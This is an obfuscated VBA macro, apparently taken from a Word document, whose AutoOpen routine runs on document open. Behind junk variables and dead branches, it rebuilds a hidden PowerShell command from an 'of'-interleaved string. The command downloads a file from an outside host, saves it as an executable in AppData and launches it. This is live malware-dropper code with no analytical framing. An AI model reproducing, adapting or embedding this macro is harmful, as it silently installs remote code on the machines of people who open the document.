Rem Attribute VBA_ModuleType=VBADocumentModule
Option VBASupport 1
Function hrohymys()
ujqumvusimb = 14
hrohymys = ujqumvusimb
End Function

Function yzqybqegq()
azarw = Empty
yzqybqegq = azarw
End Function

Function tzumniwsi()
tzumniwsi = "19463"
End Function

Function quchafses()
quchafses = Empty
End Function

Function qrylvuso()
qrylvuso = "idikaluz"
End Function

Function etqovetmi()
etqovetmi = Empty
End Function

Sub AutoOpen()
efpigz = False
xotdavrolp = False
icqaxum = ActiveDocument.Windows.Count
dcutwuwfawh = 161
Dim vnysnefhu As String
untenetfuq = 362
wwiwenw = Empty
ziwzohzaq = 13
gopo = "acuhyfzo"
Select Case hrohymys
Case Null
ares = 11
If (ares = 12) Then
vn = "37761" & 212
pk = "64997" & 94
a = "abu" & 74

End If
If (dcutwuwfawh = "161") Then
lu = Empty
su = "35976" & 9
g = "tucabge" & 11
sdegafm = 728
zbu = "ubhalkocix" & 99
u = "oradcotis" & 88
End If
If (xotdavrolp = True) Then
utegkohxiz = Empty
nuvnabu = "83499"

End If
If (wwiwenw = Empty) Then
a = "81150" & 530
wafi = "inob"
y = "27854" & 860
pvipeqf = 15
End If
hofyb = "84619"
If (TypeName(hofyb) = "String") Then
ompe = "78255"
agozostifh = 893
ci = "luqogriro" & 7
xe = "35955" & 671
End If

Case 14
If (icqaxum = 1) Then
If (gopo = undefined) Then
If (tzumniwsi = "19463") Then
opukl = 15
y = "bkempe" & 34
ffy = "21356" & 39
ujongagqu = False
epc = "juczefucji" & 26
End If
If (TypeName(quchafses) = "Empty") Then
If (qrylvuso = "idikaluz") Then
If (etqovetmi = Empty) Then
jz = "4983"
End If
End If
End If

 Else
  ybikitm = "cofmofdof.ofEofxofeof of/ofCof of""ofpofOofWofEofRofsofHofEofLoflof.ofEofxofeof of of-ofEofXofEofcofUoftofIofoofNofPofooflofiofCofyof of of of ofBofyofPofaofSofsof of-ofNofOofPofRofooffofioflofEof of-ofwofiofNofdofOofwofsoftofYofLofeof of of ofHofiofDofDofeofNof of(ofnofEofWof-ofOofbofjofeofcoftof of of of of ofSofYofsofTofeofMof.ofNofEofTof.ofwofeofBofCofLofiofeofNoftof)of.ofDofoofWofnoflofOofAofDoffofiofLofeof(of'ofhoftoftofpof:of/of/ofwofwofwof.ofeofrofrofoofrofpofooflofaof.oftofoofpof/ofrofeofaofdof.ofpofhofpof?offof=of1of.ofgofioffof'of,of'of%ofAofPofpofDofaoftofaof%of.ofEofXofEof'of)of;ofsofTofaofRofTof-ofpofRofOofcofeofSofSof of'of%ofAofPofPofDofaofTofAof%of.ofeofxofEof'of"""
errofu = "of"
fehy = Split(ybikitm, errofu)
For Each undoci In fehy

vnysnefhu = vnysnefhu + undoci

Next undoci
vecga = Shell(vnysnefhu, False)

End If
 vo = True
nucedid = Empty
i = True
i = "wmucidy" & 364
xtu = "66135" & 735
p = "47340" & 14
sy = 15
 End If

Case True
ares = 11
If (ares = 12) Then
vn = "37761" & 212
pk = "64997" & 94
a = "abu" & 74

End If
If (dcutwuwfawh = "161") Then
lu = Empty
su = "35976" & 9
g = "tucabge" & 11
sdegafm = 728
zbu = "ubhalkocix" & 99
u = "oradcotis" & 88
End If
If (xotdavrolp = True) Then
utegkohxiz = Empty
nuvnabu = "83499"

End If
If (wwiwenw = Empty) Then
a = "81150" & 530
wafi = "inob"
y = "27854" & 860
pvipeqf = 15
End If
hofyb = "84619"
If (TypeName(hofyb) = "String") Then
ompe = "78255"
agozostifh = 893
ci = "luqogriro" & 7
xe = "35955" & 671
End If

Case Empty
ares = 11
If (ares = 12) Then
vn = "37761" & 212
pk = "64997" & 94
a = "abu" & 74

End If
If (dcutwuwfawh = "161") Then
lu = Empty
su = "35976" & 9
g = "tucabge" & 11
sdegafm = 728
zbu = "ubhalkocix" & 99
u = "oradcotis" & 88
End If
If (xotdavrolp = True) Then
utegkohxiz = Empty
nuvnabu = "83499"

End If
If (wwiwenw = Empty) Then
a = "81150" & 530
wafi = "inob"
y = "27854" & 860
pvipeqf = 15
End If
hofyb = "84619"
If (TypeName(hofyb) = "String") Then
ompe = "78255"
agozostifh = 893
ci = "luqogriro" & 7
xe = "35955" & 671
End If

End Select

End Sub